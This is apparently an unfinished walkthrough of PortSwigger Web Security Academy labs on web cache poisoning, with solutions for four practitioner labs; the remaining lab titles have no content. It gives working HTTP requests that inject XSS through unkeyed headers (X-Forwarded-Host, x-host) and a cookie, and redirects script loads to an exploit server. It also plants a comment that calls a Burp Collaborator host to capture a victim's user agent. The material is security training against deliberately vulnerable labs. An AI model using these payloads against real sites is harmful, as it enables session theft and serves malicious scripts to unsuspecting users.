IN PROGRESS: WebSecurityAcademy (PortSwigger) – Web cache poisoning

Walk-through of the Web cache poisoning vulnerabilities lab on PortSwigger Web Security Academy. Web cache poisoning is an advanced technique whereby an attacker exploits the behavior of a web server and cache so that a harmful HTTP response is served to other users.

Practitioner – Web cache poisoning with an unkeyed header

This lab is vulnerable to web cache poisoning because it handles input from an unkeyed header in an unsafe way. An unsuspecting user regularly visits the site’s home page. To solve this lab, poison the cache with a response that executes alert(document.cookie) in the visitor’s browser.

Identify and evaluate unkeyed inputs

  • Use the extension Param Miner.
  • Right-click on a request -> Extensions -> Param Miner -> Guess params -> Guess headers
  • Results will appear on the Dashboard tab under Issues and in the extension’s Output tab.

We find issue “Secret input: header” for header “X-Forwarded-Host”. We also see the value of the header in the server response.

X-Forwarded-Host: zwrtxqvar1ruuqzjoy.<LAB ID>.web-security-academy.net
X-Forwarded-Hostgha6f9: zwrtxqvagx8p1us2oy.<LAB ID>.web-security-academy.net
[...]
<body>
  <script type="text/javascript" src="//zwrtxqvar1ruuqzjoy.<LAB ID>.web-security-academy.net/resources/js/tracking.js"></script>
[...]

Elicit a harmful response from the back-end server

❗ UNLOAD Param Miner. The lab does not solve when using Param Miner (when the cache buster is enabled?).

Generate a XSS payload (consult the Cross-site scripting (XSS) cheat sheet):

GET /?cachebuster=1 HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
X-Forwarded-Host: whatever.<LAB ID>.web-security-academy.net/whatever" onerror="alert(document.cookie)" dummy="

Test the attack by accessing “https://<LAB ID>.web-security-academy.net/?cachebuster=1” in a web browser.

Get the response cached

Remove the cachebuster parameter and send the request until you get a “X-Cache: miss” and go to the Home page to validate that the payload executes. The lab should be solved. If not, the victim did not access the page while the cache was poisoned. Keep sending the request every few seconds to re-poison the cache until the victim is affected and the lab is solved.

Official solution

Use the Exploit Server.

File: /resources/js/tracking.js
Body: alert(document.cookie);

Click on Store.

GET / HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
X-Forwarded-Host: exploit-<EXPLOIT SERVER ID>.exploit-server.net

Send the request until you get a “X-Cache: miss” and go to the Home page to validate that the payload executes.

Practitioner – Web cache poisoning with an unkeyed cookie

This lab is vulnerable to web cache poisoning because cookies aren’t included in the cache key. An unsuspecting user regularly visits the site’s home page. To solve this lab, poison the cache with a response that executes alert(1) in the visitor’s browser.

Identify and evaluate unkeyed inputs

  • Use the extension Param Miner.
  • Right-click on a request -> Extensions -> Param Miner -> Guess params -> Guess cookie parameters
  • Results will appear on the Dashboard tab under Issues and in the extension’s Output tab.

We find issue “Secret input: cookie” for cookie “fehost”. We also see the value of the cookie in the server response.

<script>
  data = {
    "host":"<LAB ID>.web-security-academy.net",
    "path":"/",
    "frontend":"prod-cache-01"
  }
</script>

Elicit a harmful response from the back-end server

Generate a XSS payload (consult the Cross-site scripting (XSS) cheat sheet):

GET /?cachebuster=1 HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
Cookie: session=<session ID>; fehost=<@urlencode>prod-cache-01"}; alert(1); dummy = { "whatever": "a<@/urlencode>

Test the attack by accessing “https://<LAB ID>.web-security-academy.net/?cachebuster=1” in a web browser.

Get the response cached

Remove the cache buster parameter and send the request until you get a “X-Cache: miss” and go to the Home page to validate that the payload executes. The lab should be solved.

Practitioner – Web cache poisoning with multiple headers

This lab contains a web cache poisoning vulnerability that is only exploitable when you use multiple headers to craft a malicious request. A user visits the home page roughly once a minute. To solve this lab, poison the cache with a response that executes alert(document.cookie) in the visitor’s browser.

Identify and evaluate unkeyed inputs

  • Use the extension Param Miner.
  • Right-click on a request -> Extensions -> Param Miner -> Guess params -> Guess headers
  • Results will appear on the Dashboard tab under Issues and in the extension’s Output tab.

We find issue “Secret input: header” for header “X-Forwarded-Scheme”. We also see the value of the header in the server response.

❗ The server also supports X-Forwarded-Host.

Elicit a harmful response from the back-end server

Send the request for /resources/js/tracking.js to the Repeater module. Add a cache buster parameter.

GET /resources/js/tracking.js?cachebuster=1 HTTP/2

Use the Exploit Server to store the payload.

File: /resources/js/tracking.js
Body: alert(document.cookie);

Click on Store.

In the Repeater, add the X-Forwarded-Scheme and the X-Forwarded-Host header. When the X-Forwarded-Scheme header is set to any value other than HTTPS, you receive a 302 response with the Location header redirecting to the same URL that you requested, but using https://.

GET /resources/js/tracking.js?cachebuster=1 HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
X-Forwarded-Scheme: whatever
X-Forwarded-Host: exploit-<EXPLOIT SERVER>.exploit-server.net

Get the response cached

Remove the cache buster parameter and send the request until you get a “X-Cache: miss” and go to the Home page to validate that the payload executes. The lab should be solved.

GET /resources/js/tracking.js HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
X-Forwarded-Scheme: whatever
X-Forwarded-Host: exploit-<EXPLOIT SERVER>.exploit-server.net

Practitioner – Targeted web cache poisoning using an unknown header

This lab is vulnerable to web cache poisoning. A victim user will view any comments that you post. To solve this lab, you need to poison the cache with a response that executes alert(document.cookie) in the visitor’s browser. However, you also need to make sure that the response is served to the specific subset of users to which the intended victim belongs.

Identify and evaluate unkeyed inputs

  • Use the extension Param Miner.
  • Right-click on a request (Home page) -> Extensions -> Param Miner -> Guess params -> Guess headers
  • Results will appear on the Dashboard tab under Issues and in the extension’s Output tab.

We find issue “Secret input: header” for header “x-host”. We also see the value of the header in the server response..

x-host: zwrtxqvalef3em2bue
[...]
<body>
  <script type="text/javascript" src="//zwrtxqvalef3em2bue/resources/js/tracking.js"></script>
[...]

The server response also includes the Vary HTTP header for the User-Agent.

HTTP/1.1 200 OK
[...]
Vary: User-Agent
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Connection: close
Content-Length: 5874

Find the victim’s user agent for a targeted attack

Click on a blog post and post a comment that will contact Burp Collaborator.

<img src='https://<BURP COLLABORATOR ID>.oastify.com' />
POST /post/comment HTTP/1.1
[...]

csrf=<token>&postId=1&comment=%3Cimg+src%3D%27https%3A%2F%2F<BURP COLLABORATOR ID>.oastify.com%27+%2F%3E&name=Whatever&email=whatever%40example.com&website=http%3A%2F%2Fwhatever.com

The Burp Collaborator receives a request from the victim.

GET / HTTP/1.1
Host: <BURP COLLABORATOR ID>.oastify.com
[...]
User-Agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
[...]

The victim’s user agent is:

Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36

Elicit a harmful response from the back-end server

Generate a XSS payload (consult the Cross-site scripting (XSS) cheat sheet):

GET /?cachebuster=1 HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
x-host: whatever.<LAB ID>.h1-web-security-academy.net/whatever" onerror="alert(document.cookie)" dummy="

Test the attack by accessing “https://<LAB ID>.web-security-academy.net/?cachebuster=1” in a web browser.

Get the response cached

Remove the cache buster parameter. Add the User-Agent of the victim (remove your own) and send the request until you get a “X-Cache: miss”. Refresh the Home page and lab should be solved.

GET / HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
x-host: whatever.<LAB ID>.h1-web-security-academy.net/whatever" onerror="alert(document.cookie)" dummy="
User-Agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36

Practitioner – Web cache poisoning via an unkeyed query string

Practitioner – Web cache poisoning via an unkeyed query parameter

Practitioner – Parameter cloaking

Practitioner – Web cache poisoning via a fat GET request

Practitioner – URL normalization

Expert – Web cache poisoning to exploit a DOM vulnerability via a cache with strict cacheability criteria

Expert – Combining web cache poisoning vulnerabilities

Expert – Cache key injection

Expert – Internal cache poisoning